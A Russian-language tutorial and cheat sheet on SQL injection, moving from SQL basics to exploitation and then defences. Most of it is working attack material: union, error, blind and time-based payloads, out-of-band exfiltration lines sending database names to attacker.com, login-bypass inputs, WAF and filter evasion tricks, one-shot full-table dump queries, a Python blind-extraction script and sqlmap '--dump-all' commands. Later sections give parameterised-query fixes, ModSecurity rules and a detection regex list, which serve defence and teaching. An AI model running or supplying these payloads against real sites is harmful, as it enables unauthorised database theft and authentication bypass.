SQL-инъекция — это внедрение в данные произвольного SQL-кода. Если произвольная SQL-команда выполняется, то код уязвим, и с базой данных можно делать всё в рамках привилегий пользователя, под которым выполняются запросы.
Что такое SQL?
SQL (Structured Query Language) — декларативный язык программирования для создания, модификации и управления данными в реляционных базах данных.
Ключевые особенности SQL:
- Информационно-логический язык
- Предназначен для описания, изменения и извлечения данных
- Не является тьюринг-полным
- Стандарт SQL/PSM предусматривает процедурные расширения
Возможности эксплуатации SQL-инъекций
1. Манипуляции с БД
В базе данных находится масса интересных данных:
- Почтовые ящики
- Кредитные карты
- Личные данные
- Логины/пароли
- Переписки
- Информация о товарах и сделках
2. Обход авторизации
Если уязвимость есть в поле авторизации, пароль не потребуется. Злоумышленник может изменить запрос так, чтобы авторизоваться, имея лишь логин.
3. Чтение/запись файлов
При наличии соответствующих привилегий можно:
- Читать конфиденциальные файлы сервера
- Записывать файлы (например, веб-шелл)
- Выполнять команды ОС
4. SiXSS (Stored XSS через SQLi)
Union-based и Error-based инъекции позволяют провести XSS атаки, передавая JavaScript код вместо данных:
id=-1' UNION SELECT 1, '<script>alert("XSS")</script>' --
Основы SQL
Компоненты языка SQL
SQL состоит из:
- Операторов (основные команды)
- Инструкций (последовательности операторов)
- Вычисляемых функций (встроенные функции)
DDL (Data Definition Language) — Определение данных
| Оператор | Описание |
|---|---|
CREATE | Создаёт объект БД (база, таблица, представление, пользователь) |
ALTER | Изменяет объект БД |
DROP | Удаляет объект БД |
Примеры:
-- Создание таблицы
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(50) NOT NULL,
email VARCHAR(100) NOT NULL
);
-- Изменение таблицы
ALTER TABLE users ADD COLUMN created_at DATETIME;
-- Удаление таблицы
DROP TABLE users;
DML (Data Manipulation Language) — Манипуляция данными
| Оператор | Описание |
|---|---|
SELECT | Выбирает данные, удовлетворяющие условиям |
INSERT | Добавляет новые данные |
UPDATE | Изменяет существующие данные |
DELETE | Удаляет данные |
Примеры:
-- Выборка данных
SELECT * FROM users WHERE id = 1;
-- Вставка данных
INSERT INTO users (username, email) VALUES ('admin', 'admin@example.com');
-- Обновление данных
UPDATE users SET email = 'newemail@example.com' WHERE id = 1;
-- Удаление данных
DELETE FROM users WHERE id = 1;
DCL (Data Control Language) — Управление доступом
| Оператор | Описание |
|---|---|
GRANT | Предоставляет разрешения на операции |
REVOKE | Отзывает ранее выданные разрешения |
DENY | Задаёт запрет (приоритет над разрешением) |
TCL (Transaction Control Language) — Управление транзакциями
| Оператор | Описание |
|---|---|
COMMIT | Применяет транзакцию |
ROLLBACK | Откатывает все изменения в транзакции |
SAVEPOINT | Делит транзакцию на участки |
Типы SQL-инъекций
┌─────────────────────────────────┐
│ SQL INJECTION TYPES │
└─────────────────────────────────┘
│
┌─────────────┴─────────────┐
│ │
┌───────▼────────┐ ┌───────▼────────┐
│ С выводом │ │ Без вывода │
│ ошибок │ │ ошибок │
└───────┬────────┘ └───────┬────────┘
│ │
┌───────┴────────┐ ┌───────┴────────┐
│ │ │ │
┌───▼───┐ ┌────▼────┐ ┌▼─────┐ ┌────▼────┐
│ Union │ │ Error │ │ Blind│ │ Time │
│ Based │ │ Based │ │ Based│ │ Based │
└───────┘ └─────────┘ └──────┘ └─────────┘
Union-Based SQL Injection
Самый популярный тип. Использует оператор UNION для объединения результатов двух запросов.
Типичный процесс эксплуатации:
- Определение количества столбцов:
-- Метод 1: ORDER BY
id=1' ORDER BY 1--
id=1' ORDER BY 2--
id=1' ORDER BY 3-- # Ошибка = 2 столбца
-- Метод 2: UNION SELECT NULL
id=1' UNION SELECT NULL-- # Ошибка
id=1' UNION SELECT NULL,NULL-- # Успех = 2 столбца
- Поиск отображаемых столбцов:
id=-1' UNION SELECT 1,2--
id=-1' UNION SELECT 'a','b'--
- Извлечение данных:
-- Текущая БД
id=-1' UNION SELECT 1,database()--
-- Версия MySQL
id=-1' UNION SELECT 1,version()--
-- Текущий пользователь
id=-1' UNION SELECT 1,user()--
-- Список баз данных
id=-1' UNION SELECT 1,GROUP_CONCAT(schema_name) FROM information_schema.schemata--
-- Список таблиц
id=-1' UNION SELECT 1,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--
-- Список столбцов
id=-1' UNION SELECT 1,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'--
-- Дамп данных
id=-1' UNION SELECT 1,GROUP_CONCAT(username,':',password) FROM users--
Error-Based SQL Injection
Данные выводятся через искусственно вызванные ошибки.
MySQL:
-- Дублирующийся ключ
id=1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y)--
-- ExtractValue
id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database())))--
-- UpdateXML
id=1' AND 1=UPDATEXML(1, CONCAT(0x7e, (SELECT database())), 1)--
MSSQL:
id=1' AND 1=CONVERT(INT, @@version)--
Oracle:
id=1' AND 1=CAST((SELECT banner FROM v$version WHERE ROWNUM=1) AS INT)--
Blind SQL Injection
Boolean-Based (логическая слепая инъекция):
-- Проверка существования БД
id=1' AND LENGTH(database())>0-- # TRUE
id=1' AND LENGTH(database())>100-- # FALSE
-- Извлечение имени БД посимвольно
id=1' AND SUBSTRING(database(),1,1)='a'-- # FALSE
id=1' AND SUBSTRING(database(),1,1)='t'-- # TRUE (если БД = "testdb")
-- С использованием ASCII
id=1' AND ASCII(SUBSTRING(database(),1,1))=116-- # TRUE (т.к. ASCII('t')=116)
Time-Based (временная слепая инъекция):
-- MySQL
id=1' AND IF(1=1, SLEEP(5), 0)--
id=1' AND IF(LENGTH(database())>5, SLEEP(5), 0)--
id=1' AND IF(ASCII(SUBSTRING(database(),1,1))=116, SLEEP(5), 0)--
-- MSSQL
id=1'; IF (1=1) WAITFOR DELAY '00:00:05'--
-- PostgreSQL
id=1'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
-- Oracle
id=1' AND CASE WHEN (1=1) THEN DBMS_LOCK.SLEEP(5) ELSE NULL END--
Out-of-Band SQL Injection
Используется когда нет прямого вывода данных.
MySQL:
-- DNS эксфильтрация (требуется UDF)
id=1' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\a'))--
MSSQL:
-- DNS запрос
id=1'; DECLARE @q varchar(1024); SET @q='\\'+CAST((SELECT DB_NAME()) AS varchar(1024))+'.attacker.com\a'; EXEC master..xp_dirtree @q--
Oracle:
-- HTTP запрос
id=1' AND UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM DUAL))=1--
Routed SQL Injection
Routed SQL Injection (маршрутизируемая SQL-инъекция) — это ситуация, при которой SQL-инъекция не даёт прямого результата, но этот запрос указывает на место, через которое можно инициировать ещё одну инъекцию. Другими словами, это инъекция в инъекции.
Теоретический пример
Допустим, есть уязвимость:
http://example.com/index.php?id=1
При проверке выяснилось, что используются три колонки:
http://example.com/index.php?id=1' UNION SELECT 1,2,3--
Но когда вы выполняете запрос, не получаете никакого результата — пустая страница. Вот в этот момент стоит подумать про routed SQL injection.
Обнаружение уязвимого столбца
Попробуйте вместо каждого номера столбца поочерёдно подставлять строку следующего вида:
"n'"
где n — номер столбца.
Пример:
http://example.com/index.php?id=1' UNION SELECT 1,"2'",3--
Должна появиться ошибка о синтаксической ошибке в запросе SQL. С этого момента становится известно место, куда надо произвести ещё одну инъекцию.
Эксплуатация
Допустим, выяснили, что уязвимым является столбец 2. Тогда запрос для обнаружения будет выглядеть так:
http://example.com/index.php?id=1' UNION SELECT 1,"2'",3--
Теперь подбираем правильный вид запроса для второй инъекции. Выяснили, что доступно 4 колонки:
http://example.com/index.php?id=1' UNION SELECT 1,"2' UNION SELECT 1,2,3,4--",3--
Практический пример
Представим форму поиска, которая фильтрует некоторые символы и слова:
Фильтруются:
- Запятая (
,) - Двойная кавычка (
") - Слова:
and,order,or
Не фильтруются:
selectunion
Шаг 1: Базовая проверка
' union select 1--
Шаг 2: Проверка на routed SQLi с hex-кодированием
Так как запятая и кавычка фильтруются, используем hex для обхода:
Строка "1'" в hex = 0x22312722
' union select 0x22312722--
Если появляется ошибка синтаксиса — перед нами routed SQLi!
Шаг 3: Определение количества столбцов
Преобразуем строку "1' order by 5--" в hex:
0x223127206f726465722062792035202d2d2022
' union select 0x223127206f726465722062792035202d2d2022--
Шаг 4: Извлечение данных
Преобразуем "1' union select version(),2--" в hex:
0x22312720756e696f6e2073656c6563742076657273696f6e28292c32202d2d2022
' union select 0x22312720756e696f6e2073656c6563742076657273696f6e28292c32202d2d2022--
Извлечение таблиц:
1' union select "111' group_concat(table_name),2 from information_schema.tables where table_schema=database()--"
В hex:
0x312720756e696f6e2073656c65637420223131312720...
Автоматизация SQL-инъекций
Самописные скрипты
Python скрипт для Time-Based Blind SQLi
from timeit import default_timer as timer
import requests
import argparse
parser = argparse.ArgumentParser(description='Blind SQL Injection')
parser.add_argument('-get', help='HTTP GET method', action="store_true")
parser.add_argument('-post', help='HTTP POST method', action="store_true")
parser.add_argument('-u', type=str, help='URL')
parser.add_argument('-value', type=str, help='POST data')
parser.add_argument('-param', type=str, help='POST parameter name')
args = parser.parse_args()
length_result = 50 # Максимальная длина результата
dictionary = list(range(48, 58)) + list(range(95, 126)) # ASCII коды символов
def blind_sql():
i = 1
print('Result:')
while i <= length_result:
for char in dictionary:
start_time = timer()
if args.get:
res = requests.get(args.u.format(i, char))
elif args.post:
res = requests.post(args.u, data={args.param: args.value.format(i, char)})
end_time = timer()
time = end_time - start_time
# Если задержка больше 3 секунд — символ найден
if time > 3:
print(chr(char), end='', flush=True)
break
i += 1
if __name__ == "__main__":
blind_sql()
Использование:
# GET запрос
python3 blind_sql.py -get -u "http://example.com/?id=1' and (case when ASCII(substring((SELECT database()),{},1))={} THEN sleep(3) END)--"
# POST запрос
python3 blind_sql.py -post -u "http://example.com/" -param "id" -value "1' and IF(ASCII(substring((SELECT database()),{},1))={},sleep(3),1)#"
Burp Suite Intruder
Настройка для Boolean-Based SQLi:
- Отправить запрос в Intruder
- Установить тип атаки: Cluster bomb
- Установить позиции:
id=12345' AND SUBSTRING(database(),§1§,1)='§a§'--
- Payload Set 1: Numbers (1-10, шаг 1)
- Payload Set 2: Simple list (алфавит + цифры)
Grep - Extract:
- Добавить контрольную фразу для отслеживания TRUE/FALSE
Сортировка результатов:
- По Payload 1 (позиция символа)
- По Length или контрольной фразе
- Payload 2 покажет найденные символы
WFUZZ
Для Boolean-Based:
wfuzz -c -z range,1-10 -z range,32-256 --hh 591 \
-b "PHPSESSID=abc123" \
-d "login=admin&password=12345' AND ASCII(SUBSTRING(database(),FUZZ,1))=FUZ2Z--" \
-u "http://example.com/login.php"
Параметры:
-c— цветной вывод-z range,1-10— первый payload (позиция символа)-z range,32-256— второй payload (ASCII коды)--hh 591— скрыть ответы с длиной 591-b— cookie-d— POST data
Обход фильтрации (Filter Evasion)
Обход фильтрации функций и ключевых слов
Базовые техники
1. Замена AND/OR:
-- Фильтруются: and, or
1 || 1=1 -- Вместо: 1 or 1=1
1 && 1=1 -- Вместо: 1 and 1=1
1 %26%26 1=1 -- URL-encoded &&
2. Замена UNION:
-- Если фильтруется UNION
1 /*!50000UNION*/ SELECT 1,2
1 %55NION SELECT 1,2 -- URL-encoded 'U'
1 un<>ion select 1,2
3. Замена пробелов:
SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users -- TAB
SELECT%0Ausername%0AFROM%0Ausers -- Новая строка
SELECT%0Busername%0BFROM%0Busers -- Вертикальный TAB
SELECT+username+FROM+users -- Плюс
Продвинутые техники
1. Inline Comments (только MySQL):
/*!50000SELECT*/ * FROM users
/*!UNION*/ /*!SELECT*/ 1,2,3
SELECT /*! username */ FROM /*! users */
2. Изменение регистра:
SeLeCt * FrOm users
UNION SELECT 1,2
UnIoN SeLeCt 1,2
3. Замещение ключевых слов:
-- Если фильтр удаляет 'union'
1 UNunionION SELECT 1,2 -- После удаления получается UNION
1 UNIunionON SELECT 1,2
4. Hex/Char кодирование:
-- Вместо: WHERE table_name='users'
WHERE table_name=0x7573657273
WHERE table_name=CHAR(117,115,101,114,115)
WHERE table_name=UNHEX('7573657273')
WHERE table_name=CONVERT(0x7573657273 USING utf8)
5. Обход фильтрации функций:
-- Если фильтруется: SUBSTRING, SUBSTR
MID(string, position, length)
SUBSTRING_INDEX(string, delimiter, count)
-- Если фильтруется: ASCII
ORD(substring)
HEX(substring)
-- Если фильтруется: CONCAT
CONCAT_WS(':', column1, column2)
GROUP_CONCAT(column)
-- Если фильтруется: VERSION
@@version
@@global.version
Обход WAF
ModSecurity CRS
-- Обход через комментарии и переносы строк
id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1,2,current_user
Разбор:
%23=#(комментарий)%2F=/%0D%0A=\r\n(перенос строки)divвместо-для создания отрицательного числа
Итоговый SQL:
0 div 1 union#foo*//*bar
select#foo
1,2,current_user
ModSecurity не видит ключевые слова, а MySQL выполняет запрос.
HTTP Parameter Pollution (HPP)
Принцип: Разные веб-серверы по-разному обрабатывают дублирующиеся параметры.
Таблица обработки:
| Платформа | Обработка | Результат |
|---|---|---|
| ASP.NET/IIS | Склеивание через запятую | par=val1,val2 |
| ASP/IIS | Склеивание через запятую | par=val1,val2 |
| PHP/Apache | Последнее значение | par=val2 |
| JSP/Tomcat | Первое значение | par=val1 |
Эксплуатация (ASP.NET):
Запрещено:
http://site.com/search.aspx?q=select+name,password+from+users
Разделение через HPP:
http://site.com/search.aspx?q=select+name&q=password+from+users
WAF видит:
q=select name
q=password from users
ASP.NET получает:
q=select name,password from users
HTTP Parameter Contamination (HPC)
Магия символа % в ASP/ASP.NET:
| Запрос WAF | Обработка WAF | Обработка ASP.NET |
|---|---|---|
sele%ct | sele%ct (блокируется) | select |
un%ion | un%ion (блокируется) | union |
<scr%ipt> | <scr%ipt> (блокируется) | <script> |
Эксплуатация:
Запрещено:
http://site.com/?id=1'+union+select+1,2,3--
Обход через %:
http://site.com/?id=1'+un%ion+se%lect+1,2,3--
Переполнение буфера
WAF, написанные на C/C++, уязвимы к переполнению при большом объёме данных.
id=1+and+(select+1)=(select+REPEAT('A',10000))+union+select+1,2,3,4,5,6,7,8,9,10--
Искажение XML в запросах
Для ASP.NET можно использовать нестандартные символы в параметрах:
?test[1=value → test[1=value (сохраняется)
?test=% → test= (символ удаляется)
?test%00=1 → test=1 (NULL byte удаляется)
?test=1%001 → NULL или test=1
?test+d=1+2 → test d=1 2
NukeSentinel обход
// Код фильтра
if (stristr($query_string, '+union+') OR
stristr($query_string, '%20union%20') OR
stristr($query_string, '*/union/*') OR
stristr($query_string, ' union '))
{
die("BLOCKED");
}
Обход:
Запрещено: ?id=1+union+select+...
Обход: ?id=1/%2A%2A/union/%2A%2A/select+...
Armorlogic Profense обход
Версии до 2.4.4 можно обойти URL-кодированием символа новой строки:
Запрещено: ?id=1/**/||/**/function()
Обход: ?id=1%0b||%0blpad(username,7,1)
DIOS (Dump In One Shot)
DIOS — метод, позволяющий выгрузить все данные за один запрос к БД. Применяется в Union-Based SQL-инъекциях.
Принцип работы
DIOS использует:
- SELECT — вложенные запросы
- @a — переменные
- := — оператор присваивания
- IN — проверка вхождения
- CONCAT — конкатенация строк
Базовая структура
(
select (@a)
from (
select (@a:=0x00),(
select (@a)
from (information_schema.schemata)
where (@a) in (@a:=concat(@a, schema_name, '\n'))
)
) a
)
Принцип:
- Инициализируем переменную
@aкак0x00 - Перебираем таблицу
information_schema.schemata - На каждой итерации добавляем имя БД в переменную через
CONCAT - Выводим результат
Практические примеры
1. Вывод всех баз данных:
1' UNION SELECT
(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata) where (@a) in (@a:=concat(@a, schema_name, '\n')))) a), 2--
2. Вывод таблиц с разделителями:
1' UNION SELECT
(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables) where (table_schema!='information_schema') and (@a) in (@a:=concat(@a, table_schema, ' >>> ', table_name, '\n')))) a), 2--
3. Вывод столбцов с HTML форматированием:
1' UNION SELECT
(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and (@a) in (@a:=concat(@a, table_schema, ' >>> ', table_name, ' >>> ', '<font color=red>', column_name, '</font>', '<br>')))) a), 2--
4. Извлечение данных из таблицы:
1' UNION SELECT
(select (@a) from (select(@a:=0x00),(select (@a) from (users) where (@a) in (@a:=concat(@a, '<br>', '<font color=red>', id, '</font>', '<font color=green> >>> ', username, '</font>', '<br>')))) a), 2--
Оптимизация вывода
Использование HTML-тегов для форматирования:
<br>— перенос строки<font color=red>— цветной текст<b>— жирный текст
Hex вместо строк для обхода фильтров:
-- Вместо: '\n'
-- Используем: 0x0a
-- Вместо: ' >>> '
-- Используем: 0x203e3e3e20
Полный пример решения задачи
Задача: Извлечь все данные из таблицы users в БД webapp_db
Решение:
- Проверяем количество столбцов:
1' ORDER BY 3-- # Ошибка
1' ORDER BY 2-- # Успех → 2 столбца
- Находим отображаемый столбец:
1' UNION SELECT 1,2-- # Выводится "2"
- Извлекаем всё за один запрос:
1' UNION SELECT 1,
(select (@x) from (select(@x:=0x00),(select (@x) from (users) where (@x) in (@x:=concat(@x, '<br>ID: ', id, ' | User: ', username, ' | Pass: ', password)))) a)--
Результат на странице:
ID: 1 | User: admin | Pass: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 2 | User: john | Pass: 098f6bcd4621d373cade4e832627b4f6
ID: 3 | User: alice | Pass: 5ebe2294ecd0e0f08eab7690d2a6ee69
Поиск SQL-инъекций
Где искать
-
В параметрах HTTP запроса
- GET параметры (
?id=1) - POST параметры (формы)
- Cookie
- HTTP заголовки (User-Agent, Referer, X-Forwarded-For)
- GET параметры (
-
В пользовательских формах ввода
- Формы авторизации
- Формы поиска
- Формы регистрации
- Формы обратной связи
Поиск в параметрах HTTP запроса
Числовой параметр
URL:
http://newnews.com/news.php?id=23
Проверка кавычкой:
http://newnews.com/news.php?id=23'
Если появляется ошибка — уязвимость есть!
Проверка без ошибки (комментирование):
http://newnews.com/news.php?id=23--
Если вывод идентичен странице с id=23 — уязвимость присутствует.
Предполагаемый SQL-запрос:
-- Нормальный запрос
SELECT * FROM news WHERE id=23
-- С кавычкой
SELECT * FROM news WHERE id=23' # Ошибка!
-- С комментарием
SELECT * FROM news WHERE id=23-- ' AND ...
Строковой параметр
URL:
http://example.com/search.php?query=test
Предполагаемый запрос:
SELECT * FROM articles WHERE title='test'
Проверка:
http://example.com/search.php?query=test'
Запрос становится:
SELECT * FROM articles WHERE title='test'' # Ошибка!
Корректная проверка:
http://example.com/search.php?query=test'--
Проверка через логические операторы:
http://example.com/search.php?query=test' AND '1'='1
http://example.com/search.php?query=test' AND '1'='2
Поиск в формах авторизации
Предполагаемый SQL-запрос:
SELECT * FROM users WHERE login='$login' AND password='$password'
Эксплуатация через логин
Ввод:
Login: admin'--
Password: любой
Итоговый запрос:
SELECT * FROM users WHERE login='admin'-- ' AND password='любой'
Всё после -- закомментировано → авторизация успешна!
Эксплуатация через пароль
Ввод:
Login: admin
Password: ' OR '1'='1
Итоговый запрос:
SELECT * FROM users WHERE login='admin' AND password='' OR '1'='1'
Условие '1'='1' всегда истинно → авторизация успешна!
Эксплуатация через LIKE
Предполагаемый запрос:
SELECT * FROM users WHERE login LIKE '$login' AND password LIKE '$password'
Ввод:
Login: admin
Password: %
Итоговый запрос:
SELECT * FROM users WHERE login LIKE 'admin' AND password LIKE '%'
Символ % означает "любая строка" → авторизация успешна!
Быстрая проверка на уязвимость
Чеклист:
- Одинарная кавычка:
' - Двойная кавычка:
" - Обратная кавычка:
` - Комментарии:
--,#,/* */ - Логические операторы:
AND 1=1,OR 1=1 - Математические операции:
1+1,2-1 - Задержки:
SLEEP(5),BENCHMARK()
Автоматизация поиска
SQLMap:
# Простое сканирование
sqlmap -u "http://example.com/page.php?id=1"
# С cookie
sqlmap -u "http://example.com/page.php?id=1" --cookie="PHPSESSID=abc123"
# POST запрос
sqlmap -u "http://example.com/login.php" --data="username=admin&password=pass"
# Из файла Burp
sqlmap -r request.txt
# Агрессивное сканирование
sqlmap -u "http://example.com/page.php?id=1" --level=5 --risk=3
# Дамп всей БД
sqlmap -u "http://example.com/page.php?id=1" --dump-all
Защита от SQL-инъекций
1. Prepared Statements (Параметризованные запросы)
Самый надёжный метод защиты!
PHP (PDO)
<?php
// ✅ БЕЗОПАСНО
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
$user = $stmt->fetch();
// ✅ БЕЗОПАСНО (именованные параметры)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $_GET['id']]);
// ❌ УЯЗВИМО
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];
$result = $pdo->query($query);
?>
PHP (MySQLi)
<?php
// ✅ БЕЗОПАСНО
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
$result = $stmt->get_result();
// ❌ УЯЗВИМО
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];
$result = $mysqli->query($query);
?>
Python (psycopg2 для PostgreSQL)
# ✅ БЕЗОПАСНО
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
# ❌ УЯЗВИМО
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")
Java (JDBC)
// ✅ БЕЗОПАСНО
PreparedStatement stmt = connection.prepareStatement(
"SELECT * FROM users WHERE id = ?"
);
stmt.setInt(1, userId);
ResultSet rs = stmt.executeQuery();
// ❌ УЯЗВИМО
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(
"SELECT * FROM users WHERE id = " + userId
);
2. ORM (Object-Relational Mapping)
Популярные ORM:
- PHP: Eloquent (Laravel), Doctrine
- Python: Django ORM, SQLAlchemy
- JavaScript: Sequelize, TypeORM
- Java: Hibernate
- Ruby: ActiveRecord (Rails)
PHP (Laravel Eloquent)
// ✅ БЕЗОПАСНО
$user = User::where('id', $request->id)->first();
$users = User::where('age', '>', 18)->get();
// ✅ БЕЗОПАСНО (raw query с биндингом)
$users = DB::select('SELECT * FROM users WHERE id = ?', [$id]);
// ❌ УЯЗВИМО
$users = DB::select("SELECT * FROM users WHERE id = $id");
Python (Django ORM)
# ✅ БЕЗОПАСНО
user = User.objects.get(id=user_id)
users = User.objects.filter(age__gt=18)
# ✅ БЕЗОПАСНО (raw query с параметрами)
User.objects.raw('SELECT * FROM users WHERE id = %s', [user_id])
# ❌ УЯЗВИМО
User.objects.raw(f'SELECT * FROM users WHERE id = {user_id}')
3. Экранирование (НЕ рекомендуется как основной метод)
<?php
// ⚠️ НЕДОСТАТОЧНО для полной защиты
$id = mysqli_real_escape_string($mysqli, $_GET['id']);
$query = "SELECT * FROM users WHERE id = '$id'"; // Кавычки обязательны!
// ❌ УЯЗВИМО (числовой параметр без кавычек)
$id = mysqli_real_escape_string($mysqli, $_GET['id']);
$query = "SELECT * FROM users WHERE id = $id"; // Можно внедрить OR 1=1
?>
4. White-List валидация
<?php
// ✅ Для ORDER BY
$allowed_columns = ['id', 'username', 'email', 'created_at'];
$order = in_array($_GET['order'], $allowed_columns)
? $_GET['order']
: 'id';
$query = "SELECT * FROM users ORDER BY $order";
// ✅ Для LIMIT
$limit = max(1, min(100, (int)$_GET['limit']));
$query = "SELECT * FROM users LIMIT $limit";
// ✅ Для таблиц
$allowed_tables = ['users', 'products', 'orders'];
$table = in_array($_GET['table'], $allowed_tables)
? $_GET['table']
: 'users';
?>
5. Типизация и валидация
<?php
// ✅ Приведение к нужному типу
$id = (int) $_GET['id'];
$email = filter_var($_GET['email'], FILTER_VALIDATE_EMAIL);
$age = filter_var($_GET['age'], FILTER_VALIDATE_INT, [
'options' => ['min_range' => 1, 'max_range' => 120]
]);
// ✅ Регулярные выражения
if (!preg_match('/^[a-zA-Z0-9_]+$/', $_GET['username'])) {
die('Invalid username');
}
?>
6. Минимальные привилегии БД
-- ✅ Создать пользователя только с SELECT
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT ON database.* TO 'webapp'@'localhost';
-- ❌ НЕ давать опасные привилегии
-- FILE - чтение/запись файлов
-- SUPER - суперпользователь
-- PROCESS - просмотр процессов
-- SHUTDOWN - выключение сервера
7. WAF (Web Application Firewall)
ModSecurity правила
# Базовое правило обнаружения SQLi
SecRule ARGS "@detectSQLi" \
"id:942100,\
phase:2,\
block,\
msg:'SQL Injection Attack Detected'"
# Блокировка UNION
SecRule ARGS "@rx (?i:\bunion\b.{1,100}\bselect\b)" \
"id:942200,\
phase:2,\
block,\
msg:'UNION-based SQL Injection'"
# Блокировка комментариев
SecRule ARGS "@rx (?:--|#|/\*|\*/)" \
"id:942300,\
phase:2,\
block,\
msg:'SQL Comment Detected'"
8. Логирование и мониторинг
<?php
// Логирование подозрительных запросов
function log_suspicious_input($input, $parameter) {
$patterns = [
'/union.*select/i',
'/or.*1.*=.*1/i',
'/sleep\(/i',
'/benchmark\(/i',
'/load_file/i',
'/into.*outfile/i'
];
foreach ($patterns as $pattern) {
if (preg_match($pattern, $input)) {
error_log(
"[SQLi Attempt] Parameter: $parameter, " .
"Value: $input, " .
"IP: " . $_SERVER['REMOTE_ADDR'] . ", " .
"User-Agent: " . $_SERVER['HTTP_USER_AGENT']
);
// Можно заблокировать IP или показать CAPTCHA
return true;
}
}
return false;
}
?>
9. Отключение вывода ошибок в продакшене
<?php
// ❌ В продакшене
ini_set('display_errors', 0);
error_reporting(0);
// ✅ В продакшене с логированием
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', '/var/log/php_errors.log');
error_reporting(E_ALL);
?>
10. Content Security Policy
<!-- Ограничение источников скриптов -->
<meta http-equiv="Content-Security-Policy"
content="script-src 'self'; object-src 'none';">
Практические лаборатории
Легальные площадки для практики
Онлайн-платформы:
- PortSwigger Web Security Academy — бесплатные лабы
- HackTheBox — машины с SQLi
- TryHackMe — комнаты по SQLi
- PentesterLab — упражнения
- Root-Me — задачи по SQLi
Локальные приложения:
- DVWA (Damn Vulnerable Web Application)
- WebGoat (OWASP)
- Mutillidae
- bWAPP (buggy Web Application)
- OWASP Juice Shop
Установка DVWA (Docker)
# Установка
docker pull vulnerables/web-dvwa
docker run -d -p 80:80 vulnerables/web-dvwa
# Доступ
http://localhost/
# Логин: admin
# Пароль: password
Чек-лист тестирования
Обнаружение SQLi
-
Протестировать одинарную кавычку
' -
Протестировать двойную кавычку
" -
Протестировать обратную кавычку
` -
Попробовать логические операторы
AND 1=1,OR 1=1 -
Попробовать комментарии
--,#,/* */ - Проверить числовые параметры
- Проверить строковые параметры
- Проверить параметры в cookie
- Проверить параметры в заголовках
- Проверить POST-параметры
- Проверить JSON-параметры
- Проверить XML-параметры
Эксплуатация Union-Based
-
Определить количество столбцов (
ORDER BY) - Найти отображаемые столбцы
-
Определить тип СУБД (
version(),@@version) -
Получить имя текущей БД (
database()) -
Получить текущего пользователя (
user()) - Получить список БД
- Получить список таблиц
- Получить список столбцов
- Извлечь данные
- Попробовать DIOS для массового дампа
Типичные ошибки
❌ Частые ошибки атакующих
-
Забывают про комментарии
-- Неправильно id=1' UNION SELECT 1,2,3 -- Правильно id=1' UNION SELECT 1,2,3-- -
Неправильное количество столбцов
-- Ошибка id=1 UNION SELECT user() -- Правильно (3 столбца) id=1 UNION SELECT 1,user(),3 -
Несовпадение типов
-- Ошибка (INT vs STRING) id=1 UNION SELECT 'text',2,3 -- Правильно id=1 UNION SELECT 1,2,3
❌ Частые ошибки разработчиков
-
Использование конкатенации
// ❌ УЯЗВИМО $query = "SELECT * FROM users WHERE id = " . $_GET['id']; -
Фильтрация только кавычек
// ❌ НЕДОСТАТОЧНО $input = str_replace("'", "", $input); -
Trust user input
// ❌ УЯЗВИМО $table = $_GET['table']; $query = "SELECT * FROM $table";
Заключение
SQL-инъекции остаются одной из самых опасных уязвимостей веб-приложений.
Ключевые выводы:
✅ Понимание SQL критически важно для эксплуатации и защиты
✅ Типы SQL-инъекций:
- Union-Based — самый эффективный
- Blind — требует автоматизации
- Time-Based — работает всегда
- Error-Based — золотая середина
- Routed — инъекция в инъекции
✅ Главные элементы защиты:
- Prepared Statements
- ORM (при правильном использовании)
- Минимальные привилегии БД
- Валидация входных данных
- WAF
✅ Продвинутые техники:
- DIOS — дамп за один запрос
- HPP/HPC — обход WAF
- Out-of-Band — эксфильтрация данных
Помните:
- 🎓 Всегда получайте разрешение перед тестированием
- 🔒 Используйте знания только в легальных целях
- 📚 Постоянно обучайтесь новым техникам
- 🛡️ Думайте как атакующий, защищайте как профессионал
Удачи в изучении SQL-инъекций! 🚀